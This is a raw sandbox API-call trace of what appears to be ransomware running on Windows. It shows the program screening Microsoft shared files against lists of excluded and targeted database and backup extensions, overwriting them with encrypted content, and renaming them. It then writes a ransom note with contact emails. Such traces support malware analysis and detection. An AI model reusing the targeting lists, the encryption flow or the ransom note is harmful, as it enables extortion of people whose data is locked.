	[0082.798] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\RECOVR32.CNV", lpSrch=".dll") returned 0x0
	[0082.798] lstrlenW (lpString=".bat") returned 4
	[0082.798] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\RECOVR32.CNV", lpSrch=".bat") returned 0x0
	[0082.798] lstrlenW (lpString=".cpl") returned 4
	[0082.798] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\RECOVR32.CNV", lpSrch=".cpl") returned 0x0
	[0082.798] lstrlenW (lpString=".sys") returned 4
	[0082.798] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\RECOVR32.CNV", lpSrch=".sys") returned 0x0
	[0082.798] lstrlenW (lpString=".msc") returned 4
	[0082.798] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\RECOVR32.CNV", lpSrch=".msc") returned 0x0
	[0082.798] lstrlenW (lpString=".com") returned 4
	[0082.798] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\RECOVR32.CNV", lpSrch=".com") returned 0x0
	[0082.798] lstrlenW (lpString=".lnk") returned 4
	[0082.798] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\RECOVR32.CNV", lpSrch=".lnk") returned 0x0
	[0082.798] lstrlenW (lpString=".msp") returned 4
	[0082.798] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\RECOVR32.CNV", lpSrch=".msp") returned 0x0
	[0082.798] lstrlenW (lpString=".pif") returned 4
	[0082.798] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\RECOVR32.CNV", lpSrch=".pif") returned 0x0
	[0082.798] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0082.798] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\RECOVR32.CNV", lpSrch="msp\r\n.pif") returned 0x0
	[0082.799] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\RECOVR32.CNV" (normalized: "c:\\program files\\common files\\microsoft shared\\textconv\\recovr32.cnv"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x11c
	[0082.799] lstrlenW (lpString=".sqb") returned 4
	[0082.799] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\RECOVR32.CNV", lpSrch=".sqb") returned 0x0
	[0082.799] lstrlenW (lpString=".ost") returned 4
	[0082.799] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\RECOVR32.CNV", lpSrch=".ost") returned 0x0
	[0082.799] lstrlenW (lpString=".txt") returned 4
	[0082.799] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\RECOVR32.CNV", lpSrch=".txt") returned 0x0
	[0082.799] lstrlenW (lpString=".mdt") returned 4
	[0082.799] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\RECOVR32.CNV", lpSrch=".mdt") returned 0x0
	[0082.799] lstrlenW (lpString=".BDB") returned 4
	[0082.799] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\RECOVR32.CNV", lpSrch=".BDB") returned 0x0
	[0082.799] lstrlenW (lpString=".eql") returned 4
	[0082.800] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\RECOVR32.CNV", lpSrch=".eql") returned 0x0
	[0082.800] lstrlenW (lpString=".DBF") returned 4
	[0082.800] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\RECOVR32.CNV", lpSrch=".DBF") returned 0x0
	[0082.800] lstrlenW (lpString=".EQL") returned 4
	[0082.800] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\RECOVR32.CNV", lpSrch=".EQL") returned 0x0
	[0082.800] lstrlenW (lpString=".FDB") returned 4
	[0082.800] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\RECOVR32.CNV", lpSrch=".FDB") returned 0x0
	[0082.800] lstrlenW (lpString=".EDB") returned 4
	[0082.800] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\RECOVR32.CNV", lpSrch=".EDB") returned 0x0
	[0082.800] lstrlenW (lpString=".DACPAC") returned 7
	[0082.800] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\RECOVR32.CNV", lpSrch=".DACPAC") returned 0x0
	[0082.800] lstrlenW (lpString=".VHD") returned 4
	[0082.800] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\RECOVR32.CNV", lpSrch=".VHD") returned 0x0
	[0082.800] lstrlenW (lpString=".DBV") returned 4
	[0082.800] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\RECOVR32.CNV", lpSrch=".DBV") returned 0x0
	[0082.800] lstrlenW (lpString=".dacpac") returned 7
	[0082.800] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\RECOVR32.CNV", lpSrch=".dacpac") returned 0x0
	[0082.800] lstrlenW (lpString=".sdf") returned 4
	[0082.800] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\RECOVR32.CNV", lpSrch=".sdf") returned 0x0
	[0082.800] lstrlenW (lpString=".accdb") returned 6
	[0082.800] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\RECOVR32.CNV", lpSrch=".accdb") returned 0x0
	[0082.800] lstrlenW (lpString=".DBX") returned 4
	[0082.800] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\RECOVR32.CNV", lpSrch=".DBX") returned 0x0
	[0082.800] lstrlenW (lpString=".MDT") returned 4
	[0082.800] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\RECOVR32.CNV", lpSrch=".MDT") returned 0x0
	[0082.800] lstrlenW (lpString=".SQB") returned 4
	[0082.800] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\RECOVR32.CNV", lpSrch=".SQB") returned 0x0
	[0082.801] lstrlenW (lpString=".vhd") returned 4
	[0082.801] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\RECOVR32.CNV", lpSrch=".vhd") returned 0x0
	[0082.801] lstrlenW (lpString=".bac") returned 4
	[0082.801] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\RECOVR32.CNV", lpSrch=".bac") returned 0x0
	[0082.801] lstrlenW (lpString=".mdf") returned 4
	[0082.801] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\RECOVR32.CNV", lpSrch=".mdf") returned 0x0
	[0082.801] lstrlenW (lpString=".BAK") returned 4
	[0082.801] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\RECOVR32.CNV", lpSrch=".BAK") returned 0x0
	[0082.801] lstrlenW (lpString=".BAC") returned 4
	[0082.801] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\RECOVR32.CNV", lpSrch=".BAC") returned 0x0
	[0082.801] lstrlenW (lpString=".dbs") returned 4
	[0082.801] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\RECOVR32.CNV", lpSrch=".dbs") returned 0x0
	[0082.801] lstrlenW (lpString=".vhdx") returned 5
	[0082.801] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\RECOVR32.CNV", lpSrch=".vhdx") returned 0x0
	[0082.801] lstrlenW (lpString=".NDF") returned 4
	[0082.801] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\RECOVR32.CNV", lpSrch=".NDF") returned 0x0
	[0082.801] lstrlenW (lpString=".dat") returned 4
	[0082.801] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\RECOVR32.CNV", lpSrch=".dat") returned 0x0
	[0082.801] lstrlenW (lpString=".DBS") returned 4
	[0082.801] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\RECOVR32.CNV", lpSrch=".DBS") returned 0x0
	[0082.801] lstrlenW (lpString=".CKP") returned 4
	[0082.801] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\RECOVR32.CNV", lpSrch=".CKP") returned 0x0
	[0082.801] lstrlenW (lpString=".edb") returned 4
	[0082.801] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\RECOVR32.CNV", lpSrch=".edb") returned 0x0
	[0082.801] lstrlenW (lpString=".PST") returned 4
	[0082.801] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\RECOVR32.CNV", lpSrch=".PST") returned 0x0
	[0082.801] lstrlenW (lpString=".dbf") returned 4
	[0082.802] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\RECOVR32.CNV", lpSrch=".dbf") returned 0x0
	[0082.802] lstrlenW (lpString=".SQL") returned 4
	[0082.802] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\RECOVR32.CNV", lpSrch=".SQL") returned 0x0
	[0082.802] lstrlenW (lpString=".pst") returned 4
	[0082.802] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\RECOVR32.CNV", lpSrch=".pst") returned 0x0
	[0082.802] lstrlenW (lpString=".dbv") returned 4
	[0082.802] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\RECOVR32.CNV", lpSrch=".dbv") returned 0x0
	[0082.802] lstrlenW (lpString=".SDF") returned 4
	[0082.802] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\RECOVR32.CNV", lpSrch=".SDF") returned 0x0
	[0082.802] lstrlenW (lpString=".dtxs") returned 5
	[0082.802] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\RECOVR32.CNV", lpSrch=".dtxs") returned 0x0
	[0082.802] lstrlenW (lpString=".db3") returned 4
	[0082.802] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\RECOVR32.CNV", lpSrch=".db3") returned 0x0
	[0082.802] lstrlenW (lpString=".OST") returned 4
	[0082.802] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\RECOVR32.CNV", lpSrch=".OST") returned 0x0
	[0082.802] lstrlenW (lpString=".dbx") returned 4
	[0082.802] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\RECOVR32.CNV", lpSrch=".dbx") returned 0x0
	[0082.802] lstrlenW (lpString=".DB3") returned 4
	[0082.802] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\RECOVR32.CNV", lpSrch=".DB3") returned 0x0
	[0082.802] lstrlenW (lpString=".DAT") returned 4
	[0082.802] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\RECOVR32.CNV", lpSrch=".DAT") returned 0x0
	[0082.802] lstrlenW (lpString=".VHDX") returned 5
	[0082.802] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\RECOVR32.CNV", lpSrch=".VHDX") returned 0x0
	[0082.802] lstrlenW (lpString=".ndf") returned 4
	[0082.802] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\RECOVR32.CNV", lpSrch=".ndf") returned 0x0
	[0082.803] lstrlenW (lpString=".DB") returned 3
	[0082.803] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\RECOVR32.CNV", lpSrch=".DB") returned 0x0
	[0082.803] lstrlenW (lpString=".sql") returned 4
	[0082.803] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\RECOVR32.CNV", lpSrch=".sql") returned 0x0
	[0082.803] lstrlenW (lpString=".MYD") returned 4
	[0082.803] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\RECOVR32.CNV", lpSrch=".MYD") returned 0x0
	[0082.803] lstrlenW (lpString=".DBT") returned 4
	[0082.803] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\RECOVR32.CNV", lpSrch=".DBT") returned 0x0
	[0082.803] lstrlenW (lpString=".ACCDB") returned 6
	[0082.803] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\RECOVR32.CNV", lpSrch=".ACCDB") returned 0x0
	[0082.803] lstrlenW (lpString=".fdb") returned 4
	[0082.803] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\RECOVR32.CNV", lpSrch=".fdb") returned 0x0
	[0082.803] lstrlenW (lpString=".bak") returned 4
	[0082.803] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\RECOVR32.CNV", lpSrch=".bak") returned 0x0
	[0082.803] lstrlenW (lpString=".myd") returned 4
	[0082.803] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\RECOVR32.CNV", lpSrch=".myd") returned 0x0
	[0082.803] lstrlenW (lpString=".DTXS") returned 5
	[0082.803] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\RECOVR32.CNV", lpSrch=".DTXS") returned 0x0
	[0082.803] lstrlenW (lpString=".ckp") returned 4
	[0082.803] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\RECOVR32.CNV", lpSrch=".ckp") returned 0x0
	[0082.803] lstrlenW (lpString=".dbt") returned 4
	[0082.803] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\RECOVR32.CNV", lpSrch=".dbt") returned 0x0
	[0082.803] lstrlenW (lpString=".db") returned 3
	[0082.803] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\RECOVR32.CNV", lpSrch=".db") returned 0x0
	[0082.803] lstrlenW (lpString=".TXT") returned 4
	[0082.803] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\RECOVR32.CNV", lpSrch=".TXT") returned 0x0
	[0082.803] lstrlenW (lpString=".MDF") returned 4
	[0082.804] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\RECOVR32.CNV", lpSrch=".MDF") returned 0x0
	[0082.804] lstrlenW (lpString=".bdb") returned 4
	[0082.804] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\RECOVR32.CNV", lpSrch=".bdb") returned 0x0
	[0082.804] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0082.804] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\RECOVR32.CNV", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0082.804] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x2804200
	[0082.804] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362f90
	[0082.804] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x39fe28) returned 1
	[0082.805] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f90 | out: pbBuffer=0x362f90) returned 1
	[0082.805] CryptReleaseContext (hProv=0x39fe28, dwFlags=0x0) returned 1
	[0082.805] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f90 | out: hHeap=0x300000) returned 1
	[0082.805] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0082.805] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x3ce6f8
	[0082.805] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=20279520549) returned 1
	[0082.805] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0x9b32be10, dwHighDateTime=0x1d60e1e)) 
	[0082.805] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0082.805] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0082.805] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0082.805] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3a1ed0
	[0082.805] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0082.805] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a1ed0 | out: hHeap=0x300000) returned 1
	[0082.805] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fcfe0
	[0082.805] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0082.806] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x2807610
	[0082.806] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fcfe0 | out: hHeap=0x300000) returned 1
	[0082.806] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a9140
	[0082.806] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2807610 | out: hHeap=0x300000) returned 1
	[0082.806] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0082.806] GetLastError () returned 0x0
	[0082.806] GetLastError () returned 0x0
	[0082.806] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0082.806] GetLastError () returned 0x0
	[0082.806] GetLastError () returned 0x0
	[0082.827] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0xffff7098, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0082.827] WriteFile (in: hFile=0x11c, lpBuffer=0x280bfd0*, nNumberOfBytesToWrite=0x8f68, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x280bfd0*, lpNumberOfBytesWritten=0x24dfec0*=0x8f68, lpOverlapped=0x0) returned 1
	[0082.827] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x280bfd0 | out: hHeap=0x300000) returned 1
	[0082.827] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0082.827] WriteFile (in: hFile=0x11c, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0082.828] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0082.828] WriteFile (in: hFile=0x11c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0082.828] CloseHandle (hObject=0x11c) returned 1
	[0082.860] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e6e68
	[0082.860] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\RECOVR32.CNV" (normalized: "c:\\program files\\common files\\microsoft shared\\textconv\\recovr32.cnv"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\RECOVR32.CNV.~~~~" (normalized: "c:\\program files\\common files\\microsoft shared\\textconv\\recovr32.cnv.~~~~")) returned 1
	[0082.861] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e6e68 | out: hHeap=0x300000) returned 1
	[0082.861] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0082.862] GetLastError () returned 0x0
	[0082.862] RtlWakeConditionVariable () returned 0x365f70
	[0082.862] GetCurrentThreadId () returned 0x3a4
	[0082.862] GetCurrentThreadId () returned 0x3a4
	[0082.862] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c620
	[0082.862] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fcec0 | out: hHeap=0x300000) returned 1
	[0082.862] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a1fb0 | out: hHeap=0x300000) returned 1
	[0082.862] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x27fcec0
	[0082.862] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\Read~ME.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\textconv\\read~me.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x11c
	[0082.863] lstrlenW (lpString="Dear user! Your data is encrypted!\r\n\r\nAny attempts to decrypt your data yourself will lead to loss of information !! Be careful!\r\n\r\nOur mail:\r\n1. cryptofiles20202020@protonmail.com\r\n2. cryptofiles20202020@cock.li\r\n\r\nAttention!\r\n\r\nDecryption of your files is a paid service.\r\nIf you do not have money, then you can not apply. All is serious.\r\nContact us at the address and indicate your id in the subject line.\r\nYour ID: ff9adce5d1") returned 430
	[0082.863] WriteFile (in: hFile=0x11c, lpBuffer=0x368100*, nNumberOfBytesToWrite=0x35c, lpNumberOfBytesWritten=0x24dfed8, lpOverlapped=0x0 | out: lpBuffer=0x368100*, lpNumberOfBytesWritten=0x24dfed8*=0x35c, lpOverlapped=0x0) returned 1
	[0082.864] CloseHandle (hObject=0x11c) returned 1
	[0082.864] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fcec0 | out: hHeap=0x300000) returned 1
	[0082.864] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x37c620 | out: hHeap=0x300000) returned 1
	[0082.864] RtlWakeConditionVariable () returned 0x365f70
	[0082.864] GetCurrentThreadId () returned 0x3a4
	[0082.864] GetCurrentThreadId () returned 0x3a4
	[0082.864] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3a4830
	[0082.864] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a4b10 | out: hHeap=0x300000) returned 1
	[0082.864] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ac778 | out: hHeap=0x300000) returned 1
	[0082.864] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3a4b10
	[0082.864] lstrlenW (lpString=".scr") returned 4
	[0082.864] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\AFTRNOON.ELM", lpSrch=".scr") returned 0x0
	[0082.864] lstrlenW (lpString=".cmd") returned 4
	[0082.864] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\AFTRNOON.ELM", lpSrch=".cmd") returned 0x0
	[0082.864] lstrlenW (lpString=".dll") returned 4
	[0082.865] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\AFTRNOON.ELM", lpSrch=".dll") returned 0x0
	[0082.865] lstrlenW (lpString=".bat") returned 4
	[0082.865] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\AFTRNOON.ELM", lpSrch=".bat") returned 0x0
	[0082.865] lstrlenW (lpString=".cpl") returned 4
	[0082.865] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\AFTRNOON.ELM", lpSrch=".cpl") returned 0x0
	[0082.865] lstrlenW (lpString=".sys") returned 4
	[0082.865] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\AFTRNOON.ELM", lpSrch=".sys") returned 0x0
	[0082.865] lstrlenW (lpString=".msc") returned 4
	[0082.865] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\AFTRNOON.ELM", lpSrch=".msc") returned 0x0
	[0082.865] lstrlenW (lpString=".com") returned 4
	[0082.865] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\AFTRNOON.ELM", lpSrch=".com") returned 0x0
	[0082.865] lstrlenW (lpString=".lnk") returned 4
	[0082.865] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\AFTRNOON.ELM", lpSrch=".lnk") returned 0x0
	[0082.865] lstrlenW (lpString=".msp") returned 4
	[0082.865] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\AFTRNOON.ELM", lpSrch=".msp") returned 0x0
	[0082.865] lstrlenW (lpString=".pif") returned 4
	[0082.865] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\AFTRNOON.ELM", lpSrch=".pif") returned 0x0
	[0082.865] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0082.865] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\AFTRNOON.ELM", lpSrch="msp\r\n.pif") returned 0x0
	[0082.865] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\AFTRNOON.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\aftrnoon\\aftrnoon.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124
	[0082.870] lstrlenW (lpString=".sqb") returned 4
	[0082.870] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\AFTRNOON.ELM", lpSrch=".sqb") returned 0x0
	[0082.870] lstrlenW (lpString=".ost") returned 4
	[0082.870] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\AFTRNOON.ELM", lpSrch=".ost") returned 0x0
	[0082.870] lstrlenW (lpString=".txt") returned 4
